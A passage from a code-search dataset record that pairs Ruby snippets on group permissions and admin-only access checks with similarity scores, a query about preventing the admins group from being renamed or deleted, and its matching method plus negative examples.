"def modify_snapshot_attribute_create_volume_permission_add_groups(snapshot_id, *user_group)\n user_group.flatten!\n user_group = ['all'] if user_group.right_blank?\n modify_snapshot_attribute(snapshot_id, 'createVolumePermission', 'add', :user_group => user_group )\n end",
"def prepare_permissions\n if current_ability.admin?\n else\n # Need to add admin group to current_ability\n # or presenter will not be accessible.\n current_ability.user_groups << \"admin\"\n if presenter.tombstone.present? \n else\n current_ability.user_groups.delete(\"admin\")\n end\n end\n end",
"def manage_group\n member_options = set_members_options\n if member_options.empty?\n shell_out!(\"pw\", \"groupmod\", set_options)\n else\n member_options.each do |option|\n shell_out!(\"pw\", \"groupmod\", set_options, option)\n end\n end\n end",
"def add_permission(key)\n key = key.to_sym\n if group_or_permission(key).nil?\n @permissions[key] = Permission.new(self, key)\n else\n raise Error, \"Group or permission with key of #{key} already exists\"\n end\n end",
"def grant_role_assignments_to_group_members_if_needed\n if entity.type == 'Group'\n Rails.logger.tagged \"RoleAssignment #{id}\" do\n # Tell trigger_sync! to ignore any requests it receives - we'll just put in one\n # sync request after all the new RoleAssignments exist.\n Thread.current[:will_sync_role] = [] unless Thread.current[:will_sync_role]\n Thread.current[:will_sync_role] << role.id\n \n entity.members.each do |m|\n logger.info \"Granting role (#{role.id}, #{role.token}, #{role.application.name}) just granted to group (#{entity.id}/#{entity.name}) to its member (#{m.id}/#{m.name})\"\n ra = RoleAssignment.new\n ra.role_id = role.id\n ra.entity_id = m.id\n ra.parent_id = entity.id\n if ra.save == false\n logger.error \" -- Could not grant role!\"\n end\n end\n \n Thread.current[:will_sync_role].delete(role.id)\n role.trigger_sync!\n end\n end\n end",
"def add_user_to_group(user, group)\n send(run_method, \"groups #{user} | grep ' #{group} ' || sudo /usr/sbin/usermod -G #{group} -a #{user}\")\n end",
"def modify_snapshot_attribute_create_volume_permission_remove_groups(snapshot_id, *user_group)\n user_group.flatten!\n user_group = ['all'] if user_group.right_blank?\n modify_snapshot_attribute(snapshot_id, 'createVolumePermission', 'remove', :user_group => user_group )\n end",
"def group=(new_group)\n if @group != new_group\n @dacl.reassign!(@group, new_group)\n @group = new_group\n end\n end",
"def add_group(group, gid=nil)\n\t\t\t\tCfruby.controller.attempt(\"Adding group \\\"#{group}\\\"\", 'destructive') {\n\t\t\t\t\t# Only add the group if it's not already there\n\t\t\t\t\tif !group?(group)\n\t\t\t\t\t\tif(gid == nil)\n\t\t\t\t\t\t\t`/usr/sbin/pw groupadd '#{shellescape(group)}'`\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t`/usr/sbin/pw groupadd '#{shellescape(group)}' -g #{gid.to_i()}`\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t}\n\t\t\tend",
"def create\n @user_group = UserGroup.new(params[\"user_group\"])\n permission_ids = params[\"permissions\"]\n org_id = params[:organization_id]\n @user_group.permission_ids = permission_ids\n @user_group.organization_id = org_id\n\n if @user_group.save\n redirect_to organization_user_groups_path\n else\n flash[:error] = t('user_group.exist')\n @permissions = Permission.get_hash_group_permission\n render :new\n end\n\n end",
"def add_permission( value, type, role )\n new_permission = @connection.drive.permissions.insert.request_schema.new({\n 'value' => value, # '[email protected]',\n 'type' => type, # 'group',\n 'role' => role, #'reader' \n })\n\n result = @connection.client.execute(\n :api_method => @connection.drive.permissions.insert,\n :body_object => new_permission,\n :parameters => { 'fileId' => @google_file.data.id })\n end",
"def group_params\n params.require(:group).permit(*Group.permissions(current_user))\n end",
"def add_group(group_id)\n\t\t\n\t\t# ADD ERROR CHECKING HERE FOR INVALID GROUP -> TEST\n\n\t\tself.group_list |= [group_id]\n\t\tself.update_attribute(:group_list, self.group_list)\n\t\t\n\tend",
"def can_create?(folder_id)\n administrator? or\n permissions.for_create.exists? :folder_id => folder_id\n end",
"def action_chgrp\n if @tgroup == nil\n Chef::Log::fatal \"target group need to be provided to perform chgrp\"\n elsif (!dir_exists?(@path))\n Chef::Log::info(\"Directory #{ @path } doesn't exist; chmod action not taken\")\n else\n converge_by(\"chgrp #{ @new_resource }\") do\n @client.chown(@path, 'group' => @tgroup)\n end\n new_resource.updated_by_last_action(true)\n end\n end",
"def defender_additional_guarded_folders=(value)\n @defender_additional_guarded_folders = value\n end",
"def setGroupFileAccess(adminSettingPerms, groupName, filePath, grantAccess)\n\n #filePath = GlobalSettings.changeFilePathToMatchSystem(filePath)\n fAccess = filePath+\".access\"\n\n access = Hash.new\n if !File.exist?(fAccess)\n\n if grantAccess\n access[\"groups\"] = \";#{groupName}\"\n else\n access[\"groups\"] = \"\"\n end\n\n #access[\"groups\"] <= \";#{(grantAccess?groupName+\";\":\"\")}\"\n access[\"users\"] = \";guest;\"\n access[\"adminUsers\"] = \";root(rwp);#{adminSettingPerms}(rw);\"\n access[\"adminGroups\"] = \"\"\n else\n access = YAML.load_file(fAccess)\n groups = access[\"groups\"]\n if groups.index(groupName) == nil && grantAccess\n groups.concat( groupName+\";\" )\n elsif groups.index(groupName) != nil && !grantAccess\n\n beginning = groups[0..groups.index(groupName)]\n gend = groups[groups.index(\";\", groups.index(groupName)+groupName.size())+1]\n groups = beginning+gend;\n end\n access[\"groups\"] <= groups\n end\n File.write(fAccess, access.to_yaml)\n\n end",
"def modify_image_launch_perm_remove_groups(image_id, user_group=['all'])\n modify_image_attribute(image_id, 'launchPermission', 'remove', :user_group => user_group.to_a)\n end",
"def define_im_folder_permission\n case new_resource.im_install_mode\n when 'admin'\n im_folder_permission = '755'\n im_folder_permission\n when 'nonAdmin', 'group'\n im_folder_permission = '775'\n im_folder_permission\n end\nend",
"def define_im_folder_permission\n case new_resource.im_install_mode\n when 'admin'\n im_folder_permission = '755'\n im_folder_permission\n when 'nonAdmin', 'group'\n im_folder_permission = '775'\n im_folder_permission\n end\nend",
"def set_permissions(*args)\n self.permissions = {}\n args.each do | permission |\n raise InvalidPermissionError.new(\"Permission #{permission} is invalid.\") unless ALLOWED_PERMISSIONS.include?(permission)\n self.permissions[permission] = true\n end\n end",
"def authorize_manageable\n unless @project_group.is_child_of?(@project)\n deny_access\n end\n true\n end",
"def authorization_required\n return true if admin?\n\n if [email protected]_edit?(logged_in_user)\n flash[:notice] = \"你沒有權限執行這個動作\"\n permission_denied\n @group = nil\n false\n end\n end",
"def effective_permissions\n source = self\n\n while source.inherit && source.forum.parent\n source = source.forum.parent.forum_permissions.find_by(group: group)\n end\n\n source = group if source.inherit\n\n source\n end",
"def may_update_group?(group)\n\t\t\tmay_administrate? || is_group_moderator?(group)\n\t\tend",
"def group_or_permission(key)\n key = key.to_sym\n @groups[key] || @permissions[key]\n end",
"def custom_permissions\n if admin?\n can [:confirm_delete], ActiveFedora::Base\n can [:allow_downloads, :prevent_downloads], AdminSet\n\n can :manage, Spotlight::HomePage\n can :manage, Spotlight::Exhibit\n end\n\n can :read, Spotlight::HomePage\n can :read, Spotlight::Exhibit\n\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n end",
"def require_delete_permission\n unless @folder.is_root? || current_user.can_delete(@folder)\n redirect_to @folder.parent, :alert => t(:no_permissions_for_this_type, :method => t(:delete), :type =>t(:this_folder))\n else\n require_delete_permissions_for(@folder.children)\n end\n end",
"def add_user_to_group(username, groupname)\n\t\t\t\t# Check for validity first\n\t\t\t\tsuper(username, groupname)\n\n\n\t\t\t\t`/usr/sbin/pw groupmod #{shellescape(groupname)} -m #{shellescape(username)}`\n\t\t\tend",
"def add_permission!(permission)\n add_permission(permission)\n self.save\n end",
"def custom_permissions\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\n\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n end",
"def add_user_to_usergroup(group)\n groups = `getent group | grep #{group} | cut -d \":\" -f1`.split(\"\\n\").join(',')\n if groups.empty?\n @ui.error(\"Cannot add user to #{group} group. #{group} group not found\") if groups.empty?\n return ERROR_RESULT\n end\n run_command(\"sudo usermod -a -G #{group} $(whoami)\")[:value].success?\n end",
"def set_group_repo_permission\n @group_repo_permission = GroupRepoPermission.find(params[:id])\n end",
"def addable_watcher_groups\n groups = self.project.principals.select{|p| p if p.type=='Group'}\n groups = groups.sort - self.watcher_groups\n if respond_to?(:visible?)\n groups.reject! {|group| !visible?(group)}\n end\n groups\n end",
"def do_not_rename_or_destroy_admins_group\n if @group and @group.is_the_administrators_group?\n redirect_to :action => 'list' and return false\n end\n end",
"def add_user_to_group(user, group)\n\t\t\tend",
"def group=(group)\n debug \"#{self.artifactid}: Changing group to '#{self.artifactGroup}'.\"\n begin\n File.chown(nil,Etc.getgrnam(self.group).gid,self.artifact)\n rescue => detail\n raise Puppet::Error, \"Failed to set group to '#{self.group}': #{detail}\"\n end\n end",
"def reset_group_membership\n shell_out!(\"group\", \"mod\", \"-n\", \"#{new_resource.group_name}_bak\", new_resource.group_name)\n\n shell_out!(\"group\", \"add\", set_options(overwrite_gid: true))\n\n shell_out!(\"group\", \"del\", \"#{new_resource.group_name}_bak\")\n end",
"def groups\n g = File.join(@root,'groups')\n FileUtils.mkdir_p g\n Dir.chdir(File.join(@root,'groups')) do\n Dir['*']\n end\n end",
"def discover_groups\n super << Hydra::AccessControls::AccessRight::PERMISSION_TEXT_VALUE_AUTHENTICATED\n end",
"def remove_from_acl(group_ids)\n # filter out the owning user so never accidentally removed\n group_ids = filter_owner(group_ids)\n acl.remove_groups(group_ids)\n end",
"def authorize_group_access\n group_id = group_params[:id]\n\n return if group_id.blank?\n group = Group.find(group_id)\n validate_max_members_not_exceeded!(group)\n return if group_assignment.grouping.groups.find_by(id: group_id)\n\n report_invitation_failure\n raise NotAuthorized, \"You are not permitted to select this team\"\n end",
"def create_user_permissions\n group.users.each do |user|\n create_permission_for(user)\n end\n end",
"def reset_permissions_for(item)\n item.edit_groups = []\n item.edit_users = []\n item.read_groups = []\n item.read_users = []\n end",
"def promote_in_group( group )\n self.groups_where_admin_and_wrapper.push group\n end",
"def update\n# debug(params[:group][:right_ids] Pour faire un debuggage dans le controlleur\n @group = Group.find(params[:id])\n @group.rights.clear\n\n #Mise à jour de droits que possède un groupe\n params[:group][:right_ids] ||= []\n params[:group][:right_ids].each do |right|\n if !(right.blank?)\n @group.add_right(Right.find_by_id(right))\n end\n end\n\n respond_to do |format|\n if @group.update(group_params)\n\n format.html { redirect_to @group, notice: t('group.updated_msg') }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def custom_permissions\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\nif current_user.admin?\n\t can [:create, :show, :add_user, :remove_user, :index], Role\n\t end\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n\n\n\n end",
"def disable_group(group)\n @event_groups[group] = false\n end",
"def create\r\n if request.post?\r\n @folder = Folder.new(params[:folder])\r\n @folder.parent_id = folder_id\r\n @folder.date_modified = Time.now\r\n @folder.user = @logged_in_user\r\n\r\n if @folder.save\r\n # copy groups rights on parent folder to new folder\r\n copy_permissions_to_new_folder(@folder)\r\n\r\n # back to the list\r\n redirect_to :action => 'list', :id => params[:id]\r\n else\r\n render_action 'new'\r\n end\r\n end\r\n end",
"def group_params\n params.require(:group).permit(:owner_id, :parent_id, :name, :permissions)\n end",
"def add_settings_group(group, fields = [])\n settings_groups[group] ||= []\n settings_groups[group] = settings_groups[group] | fields\n end",
"def setPermission( other_user, perm )\n if ( (not other_user.valid?) or ( other_user.is_a?(User) == false ) )\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n # d \"basic check failed\"\n # d other_user.type\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n return false\n end\n user = getUser()\n if ( other_user == user )\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n # d \"same user as owner\"\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n return true\n end\n if not self.special_users\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n # d \"creating special users group\"\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n self.special_users = {}\n end\n self.special_users[other_user.id.to_s] = perm\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n # d \"new permission:\"\n # d self.special_users\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n return true\n end",
"def remove_group(group)\r\n\t\tsend('RMG', group.info[:guid])\r\n\t\t## XXX save changes locally?\r\n\t\treturn 1\r\n\tend",
"def setable_permissions\n setable_permissions = Erp::AccessControl.permissions - Erp::AccessControl.public_permissions\n setable_permissions -= Erp::AccessControl.members_only_permissions if builtin == BUILTIN_NON_MEMBER\n setable_permissions -= Erp::AccessControl.loggedin_only_permissions if builtin == BUILTIN_ANONYMOUS\n setable_permissions\n end",
"def add_to_group(group_path, group_name)\n group = RubyAem::Resources::Group.new(@client, group_path, group_name)\n group.add_member(@call_params[:name])\n end",
"def manage_group\n if new_resource.append\n members_to_be_added = [ ]\n if new_resource.excluded_members && !new_resource.excluded_members.empty?\n # First find out if any member needs to be removed\n members_to_be_removed = [ ]\n new_resource.excluded_members.each do |member|\n members_to_be_removed << member if current_resource.members.include?(member)\n end\n\n unless members_to_be_removed.empty?\n # We are using a magic trick to remove the groups.\n reset_group_membership\n\n # Capture the members we need to add in\n # members_to_be_added to be added later on.\n current_resource.members.each do |member|\n members_to_be_added << member unless members_to_be_removed.include?(member)\n end\n end\n end\n\n if new_resource.members && !new_resource.members.empty?\n new_resource.members.each do |member|\n members_to_be_added << member unless current_resource.members.include?(member)\n end\n end\n\n logger.debug(\"#{new_resource} not changing group members, the group has no members to add\") if members_to_be_added.empty?\n\n add_group_members(members_to_be_added)\n else\n # We are resetting the members of a group so use the same trick\n reset_group_membership\n logger.debug(\"#{new_resource} setting group members to: none\") if new_resource.members.empty?\n add_group_members(new_resource.members)\n end\n end",
"def authorize_creating\n unless current.user.can_create? folder_id\n flash[:folder_error] = 'You don\\'t have create permissions for this folder.'\n redirect_to folder_path(folder_id)\n end\n end",
"def create\n #TODO validate that the params[:id] is a legal value for user\n @group = Group.find(params[:group_id])\n authorize! :edit, @group\n Hydra::LDAP.add_users_to_group(@group.code, [params[:id]])\n redirect_to edit_group_path(@group), :notice=>\"Added member #{params[:id]}\"\n end",
"def add_to_group(group)\n raise 'InvalidGroup' unless group.respond_to?(:add_user)\n # just be lazy and hand off to the group to do the work...\n group.add_user(self)\n end",
"def initialize(user, group)\n if user.admin_in_group?(group) \n can [:read, :update], Group, :id => group.id\n can :invite_to, Group, :id => group.id\n can :accept_member, GameUserGroup, :group_id => group.id\n can :create_collection, Group, :id => group.id\n can :join, Group do |group|\n user.game_user_groups.where(:group_id => group.id).nil?\n end\n elsif user.owner_in_group?(group)\n can :manage, Group\n can :invite_to, Group, :id => group.id\n can :accept_member, GameUserGroup, :group_id => group.id\n can :create_collection, Group, :id => group.id\n can :join, Group do |group|\n user.game_user_groups.where(:group_id => group.id).nil?\n end\n else\n can :read, Group do |group|\n gug_state = user.game_user_groups.where(:group_id => group.id).first.state\n if gug_state == 'accepted'\n true\n else\n false\n end\n end\n \n can :join, Group do |group|\n user.game_user_groups.where(:group_id => group.id).nil?\n end\n end\n end",
"def update_file_permission(file_id, email)\n payload = { 'role' => 'writer', 'type' => 'group',\n 'emailAddress' => email }.to_json\n\n begin\n update = @drive_manager[file_id + '/permissions'].post(\n payload\n )\n rescue StandardError => error\n warn \"#{error}; METHOD #{__callee__}; RESOURCE #{file_path}\"\n return\n end\n\n update\n end",
"def authorize_updating\n unless @logged_in_user.can_update(folder_id)\n flash.now[:folder_error] = \"You don't have update permissions for this folder.\"\n redirect_to :controller => 'folder', :action => 'list', :id => folder_id and return false\n end\n end",
"def script_settings_files_def\n {\n 'adjust_permissions.dirs' => {\n :uid => sftp_user_uid,\n :gid => group_gid,\n :reject_mmask => 0007 }\n }\nend",
"def update!(**args)\n @permissions = args[:permissions] unless args[:permissions].nil?\n end",
"def update!(**args)\n @permissions = args[:permissions] unless args[:permissions].nil?\n end",
"def create\n # Must check that user's account allows multiple groups\n Group.rebuild! if nil.|Group.find(:first).rgt\n @group = Group.new(params[:group])\n\t \n\t if params[:group][:parent_id].blank?\n\t Logger.error \"Cannot create group via CREATE action withouth parent_id\" \n\t flash[:notice] = \"Can not create a group this way without a specifying a parent\"\n else\n\t # Must check that the current_user has admin privileges on parent or a parent of parent.\n\t parent = Group.find_by_id(params[:group][:parent_id]) \n if current_user.can_create_child_group(parent)\n @group.account = parent.account\n else\n flash[:notice] = \"You do not have sufficient privileges to create new group for #{parent.name}\"\n end \n end\n\t \n\t #a new group should be saved, and then an Admin privilige for the creator should be created\n\t #note: groups validates presence of 'account'\n\n respond_to do |format|\n begin\n Priviledge.transaction do\t \n\t @group.save!\n\t @group.move_to_child_of parent #awesome nested set action.\n\t Priviledge.create!(:user => current_user, :group => @group, :level => Level.find_by_name('admin'))\n\t \t \n flash[:notice] = 'Group was successfully created.'\n format.html { redirect_to(@group) }\n format.xml { render :xml => @group, :status => :created, :location => @group }\n end \n rescue\n Group.rebuild! #don't know if this is needed, but it can't hurt, except for time.\n @groups = current_user.get_unique_group_branches.map {|g| g.get_self_and_children?}.flatten\n format.html { render :action => \"new\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end"
] | [
"0.7064186",
"0.70187306",
"0.6718033",
"0.66990846",
"0.66494733",
"0.6522002",
"0.6452796",
"0.6426728",
"0.6351635",
"0.6336575",
"0.59725577",
"0.59701014",
"0.5951281",
"0.594292",
"0.59112537",
"0.59099084",
"0.5904136",
"0.5890368",
"0.5828501",
"0.5821654",
"0.5812975",
"0.5812495",
"0.5804387",
"0.5787625",
"0.5776961",
"0.5766483",
"0.5744284",
"0.5733896",
"0.5722707",
"0.57210314",
"0.571961",
"0.5714343",
"0.5710357",
"0.5691832",
"0.5687312",
"0.5665546",
"0.566237",
"0.56493",
"0.56352353",
"0.5619598",
"0.56129175",
"0.5611532",
"0.5611443",
"0.559525",
"0.55942076",
"0.559328",
"0.55681735",
"0.55646",
"0.5554666",
"0.55328107",
"0.5532125",
"0.5517482",
"0.54977536",
"0.54977536",
"0.5491209",
"0.54686075",
"0.54636675",
"0.54635346",
"0.54510826",
"0.54418004",
"0.54187953",
"0.54157263",
"0.5415096",
"0.5410166",
"0.53997284",
"0.53958535",
"0.539328",
"0.5379057",
"0.53746456",
"0.53625435",
"0.53587127",
"0.5354846",
"0.53545845",
"0.5352844",
"0.5350399",
"0.53469205",
"0.53458923",
"0.53346574",
"0.53326076",
"0.5319943",
"0.53024954",
"0.5293104",
"0.52852076",
"0.52850175",
"0.5283486",
"0.52820563",
"0.52818286",
"0.52768904",
"0.52756476",
"0.5275473",
"0.5275194",
"0.52623194",
"0.5253343",
"0.52511513",
"0.5247894",
"0.523608",
"0.5232225",
"0.523079",
"0.52291304",
"0.5226617"
] | 0.76209146 | 0 |
The group called 'admins' can not be edited or deleted. By calling this method via a before_filter, you makes sure this doesn't happen. | def do_not_rename_or_destroy_admins_group
if @group and @group.is_the_administrators_group?
redirect_to :action => 'list' and return false
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def prevent_zero_group_admins\n @membership = Membership.find(params[:id])\n @group = @membership.group\n if @group.has_one_admin? && (@membership.user == current_user)\n flash[:danger] = \"You cannot quit unless there are other group admins.\"\n redirect_to @group\n end\n end",
"def is_admin_in(group)\n unless group.admins.include? current_user\n flash[:danger] = \"Devi essere un amministratore per eseguire questa azione\"\n redirect_to group_path(uuid: group.uuid)\n end\n end",
"def require_admin_of_group\n if !admin_of(current_group)\n # TODO: add flash alert\n redirect_back fallback_location: current_group\n end\n end",
"def admin?\n super? or group_name == 'admin'\n end",
"def admin_user\n @group = Group.find(by_id)\n redirect_to @group unless @group.has_admin?(current_user)\n end",
"def authorization_required\n return true if admin?\n\n if [email protected]_edit?(logged_in_user)\n flash[:notice] = \"你沒有權限執行這個動作\"\n permission_denied\n @group = nil\n false\n end\n end",
"def group_admins\n group.blank? ? [] : group.has_admins\n end",
"def admin_only\n deny_access(\"Necesitas tener privilegios de administrador para entrar.\") unless signed_in_as_admin?\n end",
"def admin_of(group)\n current_user.is_admin?(group)\n end",
"def only_for_admins\n raise ActiveRecord::RecordNotFound unless current_user.has_role? :admin\n end",
"def deny_admin_suicide\n raise 'admin suicided' if User.count(&:admin) <= 1\n end",
"def deny_admin_suicide\n raise 'admin suicided' if User.count(&:admin) <= 1\n end",
"def admin?\n c_user = current_user\n not c_user.nil? and c_user.group==\"admin\"\n end",
"def group_required\n required_group = Group.find_or_create_by(:name => \"Admin\")\n unless current_user.groups.is_member?(required_group)\n flash[:error] = \"The function you wish to use is only available to admin users\"\n redirect_to root_path\n end\n end",
"def admin_access_required\n access_denied unless admin?\n end",
"def admin_access_required\n access_denied unless admin?\n end",
"def admin_access_required\n access_denied unless admin?\n end",
"def may_destroy_group?(group)\n\t\t\tmay_administrate?\n\t\tend",
"def admin_only\n false\n end",
"def restrict_to_admin\n unless is_admin\n flash[:danger] = \"You are not an administrator.\"\n redirect_to root_url\n end\n end",
"def admin_user\n @group = Membership.find(params[:id]).group\n redirect_to group_members_url(@group) unless @group.has_admin?(current_user)\n end",
"def is_admin?\n group_names.include?(ADMIN_GROUP_NAME)\n end",
"def group_admin? group\n g = group.groups_userss.detect{|i| i.user_id == session[:id]}\n g.is_admin unless g.nil?\n end",
"def group_admin?\n return false unless group\n\n group.admin?(user)\n end",
"def is_super_admin_in(group)\n unless group.super_admin == current_user\n flash[:danger] = \"Devi essere il fondatore per eseguire questa azione\"\n redirect_to group_path(uuid: group.uuid)\n end\n end",
"def must_be_admin!\n access_denied! unless current_admin?\n end",
"def is_admin?\n return self.belongs_to_group(ADMIN_FUNCTIONAL_GROUP)\n end",
"def can_edit\n producer.admin?(user) || group_admin?\n end",
"def admins_only\n if current_user.nil? or !current_user.is_admin?\n # Silently redirect, no need to tell anyone why. If they're\n # not an admin, they have no business here\n redirect_to root_path\n end\n end",
"def admin_user\n render_forbidden unless current_user.admin?\n end",
"def admin_only\n logged_in_as_admin? || admin_only_access_denied\n end",
"def is_admin?\n ((!user_group_id.nil?) && has_permission(:is_admin))\n end",
"def no_admin_set_abilities\n cannot [:edit, :create, :delete], Hydra::Admin::Collection\n end",
"def may_create_groups?\n\t\t\tmay_administrate?\n\t\tend",
"def admin_in!\n access_denied! unless current_user.admin?\n end",
"def may_read_groups?\n\t\t\tmay_administrate?\n\t\tend",
"def admin_only\n\t\t\tif logged_in?\n\t\t\t\tif User.find_by(id: current_user.id.to_i).admin != true\n\t\t\t\t\tredirect_to root_path, :alert => \"Odmowa dostępu musisz być adminem\"\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def hide_dashboard_for_group_admins\n Refinery::Plugins.registered.find_by_name(\"refinery_dashboard\").hide_from_menu = true if current_refinery_user && current_refinery_user.has_role?(\"GroupAdmin\")\n end",
"def dont_delete_admin\n\t\t raise \"You cannot delete the last admin\" if self.id == 1 || User.count == 1\n\t end",
"def may_update_group?(group)\n\t\t\tmay_administrate? || is_group_moderator?(group)\n\t\tend",
"def user_is_admin?\n\t`groups`.split.include? \"admin\"\n end",
"def require_admin\n unless admin?\n flash[:warning] = \"Sorry, only administrators can do that.\"\n redirect_to Warnings_url\n end\n end",
"def before_destroy\n return false if super == false\n\n if admins = User.filter(:admin => true) and admins.count == 1 and admins.first.id == self.id\n self.errors.add nil, \"Can't destroy the only administrator.\"\n return false\n end\n end",
"def admin_authorize\n unless admin?\n unauthorized_access\n end\n end",
"def admin_only\n deny_access(\"You must be signed in as an admin to access this page.\") unless signed_in_as_admin?\n end",
"def require_admin\n deny_wrong_user if !admin?\n end",
"def admin_required\n current_user.is_admin? || access_denied\n end",
"def admin_only\n if !Volt.current_user.admin\n redirect_to '/login'\n end\n end",
"def admin?\n Group.find('admin').members.member?(self)\n end",
"def require_admin\n redirect_to(access_denied_path) unless current_user.is_admin_of?(@department)\n end",
"def index\n prevent_non_admin\n end",
"def admin_only\n unless current_user.admin?\n redirect_to :back, :alert => \"Access denied.\"\n end\n end",
"def check_if_should_be_admin\n end",
"def group_admins_enabled\n @attributes[:group_admins_enabled]\n end",
"def admin_check\n render_401 && return unless current_user\n render_403 && return unless current_user.admin?\n end",
"def admin_only\n unless current_user.admin\n redirect_to home_path, notice: \n \"You must be an admin to perform that function!\"\n end\n end",
"def admin_cannot_actions\n [:new, :create].freeze\n end",
"def ensure_author_is_admin\n unless current_author_is_admin?\n redirect_to :root\n end \n end",
"def admin_only\n return if admin_user?\n\n add_message 'Insufficient permission to view page'\n redirect_to '/'\n end",
"def only_admin\n if user_role == 'admin'\n else\n redirect_to clients_path, notice: \"У вас нет прав для просмотра даного раздела, или редактирования информации\"\n end\n end",
"def admin_user\n if !current_user.admin\n flash[:danger] = 'Please note that only administrators can create categories'\n end\n\n end",
"def is_group_admin_for_user? user\n !primary_network.restrict_access && UserGroup.where(:group_id => user.groups.collect(&:id), :user_id => self.id, :administrator => true).size > 0\n end",
"def admin_only\n current_client == current_user\n unless current_user.admin? || @client == current_user\n redirect_to clients_path, :alert => \"Access denied.\"\n end\n end",
"def administrator?\n immortal? or groups.find_by_administrators true\n end",
"def allow_if_admin\n unless is_admin?\n flash[:danger] = \"Administration permissions needed to access to this page\"\n redirect_to new_user_session_path\n end\n end",
"def not_change_my_admin\n #今回、「一般ユーザーとする」として登録しようとしている場合\n if admin_status==0\n # if User.where.not(id: 1).size == 0\n if id == current_user_id\n errors.add(\" \",I18n.t(\"activerecord.errors.messages.restrict_change_admin\"))\n # errors.add(:cd, I18n.t(\"activerecord.errors.messages.restrict_dependent_destroy.myself\"))\n end\n end\n end",
"def work_is_group_admin wgid, isredirect = false\n\t\tif DB[:work_group_user].filter(:uid => _user[:uid], :wgid => wgid).get(:rule) > 1\n\t\t\ttrue\n\t\telse\n\t\t\tif isredirect\n\t\t\t\t_throw L[:'you are not the administrator of this group']\n\t\t\telse\n\t\t\t\tfalse\n\t\t\tend\n\t\tend\n\tend",
"def admin_edit\n @guidance_groups = GuidanceGroup.where(org_id: current_user.org.id)\n @guidance_group = GuidanceGroup.find(params[:id])\n authorize @guidance_group\n end",
"def require_admin\n\t\tif !logged_in? || (logged_in? && !current_user.admin?)\n\t\t\tflash[:danger] = \"Only Admins can perform that action\"\n\t\t\tredirect_to root_path\n\t\tend\n\tend",
"def require_correct_admin\n if current_user.user?\n raise ExceptionTypes::UnauthorizedError.new(\"Admin access only\")\n end\n if current_user.admin?\n raise ExceptionTypes::UnauthorizedError.new(\"You do not have permission to modify the program with ID #{@program.id}\") unless @program.admins.exists? current_user.id\n end\n end",
"def check_admin_only\n\t\t# Check permissions\n\t\tif (not @current_user.is_administrator?)\n\t\t\tredirect_to root_path, notice: \"Access Denied\"\n\t\t\treturn\n\t\tend\n\tend",
"def require_admin\n not_authorized(\"Invalid credentials.\") unless is_admin?\n end",
"def block_access_for_non_admins\n if current_user.role != \"admin\"\n flash[:error] = \"You have no access rights for this section.\"\n redirect_to :controller => \"streams\", :action => \"index\"\n end\n end",
"def admin_only!\n\tif !current_user || !current_user.administrator\n\t\tredirect \"/\"\n\tend\nend",
"def admin_required\n current_user.respond_to?('is_admin') && current_user.send('is_admin') || access_denied\n end",
"def admin_only\n @user = current_user\n if @user.role != \"admin\"\n redirect_to root_path\n end\n end",
"def admin_user \n if (!current_user.lunches_admin?) \n flash[:alert] = 'You not allowed to edit menu.'\n \n redirect_to(root_url)\n end\n end",
"def may_destroy_group_announcements?(group)\n\t\t\tmay_administrate? || is_group_moderator?(group)\n\t\tend",
"def avoid_to_delete_last_admin\n if User.where(admin: true).size == 1 && self.admin?\n raise LastAdminError\n end\n end",
"def admin_required\n if current_user && current_user.admin\n return\n end\n redirect_to \"/login\", notice: 'Logga in som administratör.'\n end",
"def admin?; false end",
"def handle_admin_permissions()\n if !session[:debater].is_admin\n redirect_to(:controller => :debater, :action => :login_form, :message => \"must login as admin to make specified request\")\n return false\n end\n return true\n end",
"def admin_user\n redirect_to root_url, notice: \"You do not have permission to view or edit this information.\" unless current_user.admin?\n end",
"def require_admin\n if !logged_in? or !current_user.admin?\n redirect_to login_path, :alert => \"Access denied.\"\n end\n end",
"def prevent_admin_role\n raise ActionController::RoutingError.new('Forbidden') if !current_user.is_admin? && params[:user][:role] == 'admin'\n end",
"def require_admin\n unless admin?\n flash[:warning] = \"Sorry, only administrators can do that.\"\n redirect_to messages_url\n end\n end",
"def admin_of?(group)\n memberships.exists?(group_id: group.id, admin: true)\n end",
"def cannot_promote_admin\n member = Member.find_by({\n band_id: params[:id],\n user_id: params[:user_id]\n })\n\n if member.is_admin?\n flash[:danger] = \"The user is already an admin.\"\n redirect_to band_url(params[:id])\n end\n end",
"def admin_member\n redirect_to root_path, notice: \"You are not authorized to do that\" if !current_member.admin?\n end",
"def authorize_admin\n return unless !current_admin\n redirect_to root_path, alert: 'Admins only!'\n end",
"def require_admin\n #byebug\n redirect_to user_path(current_user) unless current_user.role === \"Admin\"\n end",
